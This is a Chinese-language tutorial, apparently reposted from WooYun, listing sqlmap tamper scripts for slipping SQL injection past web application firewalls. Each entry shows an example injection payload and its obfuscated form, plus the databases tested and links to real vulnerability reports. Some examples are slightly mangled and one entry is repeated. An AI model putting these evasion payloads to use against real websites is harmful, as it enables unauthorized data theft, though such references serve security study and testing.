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使用sqlmap中tamper指令碼繞過waf

0x00 背景

sqlmap中的tamper指令碼來對目標進行更高效的攻擊。

由於烏雲知識庫少了sqlmap-tamper 收集一下,方便學習。 根據sqlmap中的tamper指令碼可以學習過繞過一些技巧。 我收集在找相關的案例作為可分析什麼環境使用什麼tamper指令碼。 小學生畢業的我,著能偷偷說一下多做一些收集對吸收知識很快。

0x01 start

指令碼名:apostrophemask.py

作用:用utf8代替引號

1 Example: ("1 AND '1'='1") '1AND %EF%BC%871%EF%BC%87=%EF%BC%871'

Tested against: all

指令碼名:equaltolike.py

作用:like 代替等號

1 2 3 4 5 Example: *   Input: SELECT* FROM users WHERE id=1 *   Output:SELECT * FROMusers WHERE id LIKE 1

案例一: http://wooyun.org/bugs/wooyun-2010-087296

案例二: http://wooyun.org/bugs/wooyun-2010-074790

案例三:http://wooyun.org/bugs/wooyun-2010-072489

指令碼名:space2dash.py

作用:繞過過濾‘=’ 替換空格字元(”),(’ – ‘)後跟一個破折號註釋,一個隨機字串和一個新行(’ n’)

1 Example: ('1 AND 9227=9227')'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'

Tested against: * MSSQL * SQLite

案例一:http://wooyun.org/bugs/wooyun-2010-062878

指令碼名:greatest.py

作用:繞過過濾’>’ ,用GREATEST替換大於號。

1 Example: ('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'

Tested against: * MySQL 4, 5.0
and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

指令碼名:space2hash.py

作用:空格替換為#號 隨機字串 以及換行符

1 2 3 4 Example: *   Input: 1 AND 9227=9227 *   Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement:

  • MySQL Tested against:

  • MySQL 4.0, 5.0

指令碼名:apostrophenullencode.py

作用:繞過過濾雙引號,替換字元和雙引號。

1 Example: tamper("1 AND '1'='1") '1AND %00%271%00%27=%00%271'

Tested against:

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

指令碼名:halfversionedmorekeywords.py

作用:當資料庫為mysql時繞過防火牆,每個關鍵字之前新增mysql版本評論

1 2 3 Example: ("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"

Requirement:

  • MySQL < 5.1

Tested against:

  • MySQL 4.0.18, 5.0.22

指令碼名:space2morehash.py

作用:空格替換為 #號 以及更多隨機字串 換行符

1 2 3 4 5 Example: * Input: 1 AND9227=9227 * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement: * MySQL >= 5.1.13 Tested

against: * MySQL 5.1.41

指令碼名:appendnullbyte.py

作用:在有效負荷結束位置載入零位元組字元編碼

1 Example: ('1 AND 1=1')'1 AND 1=1%00'

Requirement:

  • Microsoft Access

指令碼名:ifnull2ifisnull.py

作用:繞過對 IFNULL 過濾。 替換類似’IFNULL(A, B)’為’IF(ISNULL(A), B, A)’

1 2 3 Example: ('IFNULL(1, 2)')'IF(ISNULL(1),2,1)'

Requirement:

  • MySQL

  • SQLite (possibly)

  • SAP MaxDB (possibly)

Tested against:

  • MySQL 5.0 and 5.5

指令碼名:space2mssqlblank.py(mssql)

作用:空格替換為其它空符號

Example: * Input: SELECT id FROM users * Output: SELECT%08id%02FROM%0Fusers

Requirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005

ASCII table:

案例一: wooyun.org/bugs/wooyun-2010-062878

指令碼名:base64encode.py

作用:用base64編碼替換 Example: ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' Requirement: all

案例一: http://wooyun.org/bugs/wooyun-2010-060071

案例二: http://wooyun.org/bugs/wooyun-2010-021062

案例三: http://wooyun.org/bugs/wooyun-2010-043229

指令碼名:space2mssqlhash.py

作用:替換空格

1 Example: ('1 AND 9227=9227')'1%23%0AAND%23%0A9227=9227' Requirement: * MSSQL * MySQL

指令碼名:modsecurityversioned.py

作用:過濾空格,包含完整的查詢版本註釋

1 Example: ('1 AND 2>1--')'1 /*!30874AND 2>1*/--'

Requirement: * MySQL

Tested against:

  • MySQL 5.0

指令碼名:space2mysqlblank.py

作用:空格替換其它空白符號(mysql)

1 2 3 4 5 Example: * Input: SELECTid FROM users * Output:SELECT%0Bid%0BFROM%A0users

Requirement:

  • MySQL

Tested against:

  • MySQL 5.1

案例一:wooyun.org/bugs/wooyun-2010-076735

指令碼名:between.py

作用:用between替換大於號(>)

1 Example: ('1 AND A > B--')'1 AND A NOT BETWEEN 0 AND B--'

Tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-068815

指令碼名:space2mysqldash.py

作用:替換空格字元(”)(’ – ‘)後跟一個破折號註釋一個新行(’ n’)

注:之前有個mssql的 這個是mysql的

1 Example: ('1 AND 9227=9227')'1--%0AAND--%0A9227=9227'

Requirement:

  • MySQL

  • MSSQL

指令碼名:multiplespaces.py

作用:圍繞SQL關鍵字新增多個空格

1 Example: ('1 UNION SELECT foobar')'1 UNION SELECT foobar'

Tested against: all

案例一: wooyun.org/bugs/wooyun-2010-072489

指令碼名:space2plus.py

作用:用+替換空格

1 Example: ('SELECT id FROM users')'SELECT+id+FROM+users' Tested against: all

指令碼名:bluecoat.py

作用:代替空格字元後與一個有效的隨機空白字元的SQL語句。 然後替換=為like

1 Example: ('SELECT id FROM users where id = 1')'SELECT%09id FROM users where id LIKE 1'

Tested against:

  • MySQL 5.1, SGOS

指令碼名:nonrecursivereplacement.py

雙重查詢語句。取代predefined SQL關鍵字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters

1 Example: ('1 UNION SELECT 2--')'1 UNIOUNIONN SELESELECTCT 2--' Tested against: all

指令碼名:space2randomblank.py

作用:代替空格字元(“”)從一個隨機的空白字元可選字元的有效集

1 Example: ('SELECT id FROM users')'SELECT%0Did%0DFROM%0Ausers'

Tested against: all

指令碼名:sp_password.py

作用:追加sp_password’從DBMS日誌的自動模糊處理的有效載荷的末尾

1 Example: ('1 AND 9227=9227-- ')'1 AND 9227=9227-- sp\_password' Requirement: * MSSQL

指令碼名:chardoubleencode.py

作用: 雙url編碼(不處理以編碼的)

1 2 3 4 5 Example: * Input: SELECTFIELD FROM%20TABLE * Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

指令碼名:unionalltounion.py

作用:替換UNION ALL SELECT UNION SELECT

Example: ('-1 UNION ALL SELECT') '-1 UNION SELECT'

Requirement: all

指令碼名:charencode.py

作用:url編碼

1 2 3 4 5 Example: *   Input: SELECTFIELD FROM%20TABLE *   Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

指令碼名:randomcase.py

作用:隨機大小寫 Example:

  • Input: INSERT
  • Output: InsERt

Tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

指令碼名:unmagicquotes.py

作用:寬字元繞過 GPC addslashes

1 2 3 4 5 Example: * Input: 1′ AND 1=1 * Output: 1%bf%27AND 1=1–%20

指令碼名:randomcomments.py

作用:用/**/分割sql關鍵字

1 2 3 Example: INSERT’ becomes ‘IN//S//ERT’

指令碼名:charunicodeencode.py

作用:字串 unicode 編碼

1 2 3 4 5 Example: * Input: SELECTFIELD%20FROM TABLE * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

Requirement:

  • ASP

  • ASP.NET

Tested against:

  • Microsoft SQL Server 2000

  • Microsoft SQL Server 2005

  • MySQL 5.1.56

  • PostgreSQL 9.0.3

案例一: wooyun.org/bugs/wooyun-2010-074261

指令碼名:securesphere.py

作用:追加特製的字串

1 Example: ('1 AND 1=1')"1 AND 1=1 and '0having'='0having'"

Tested against: all

指令碼名:versionedmorekeywords.py

作用:註釋繞過

1 2 3 4 5 Example: * Input: 1 UNIONALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER()AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# * Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#

Requirement:

  • MySQL >= 5.1.13

指令碼名:space2comment.py

作用:Replaces space character (‘ ‘) with comments ‘/**/’

1 2 3 4 5 Example: * Input: SELECTid FROM users * Output:SELECT//id//FROM/**/users

Tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-046496

指令碼名:halfversionedmorekeywords.py

作用:關鍵字前加註釋

1 2 3 4 5 Example: * Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER()AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)),NULL, NULL#AND ‘QDWa’='QDWa * Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa

Requirement:

  • MySQL < 5.1

Tested against:

  • MySQL 4.0.18, 5.0.22

轉自: http://drops.wooyun.org/tools/4760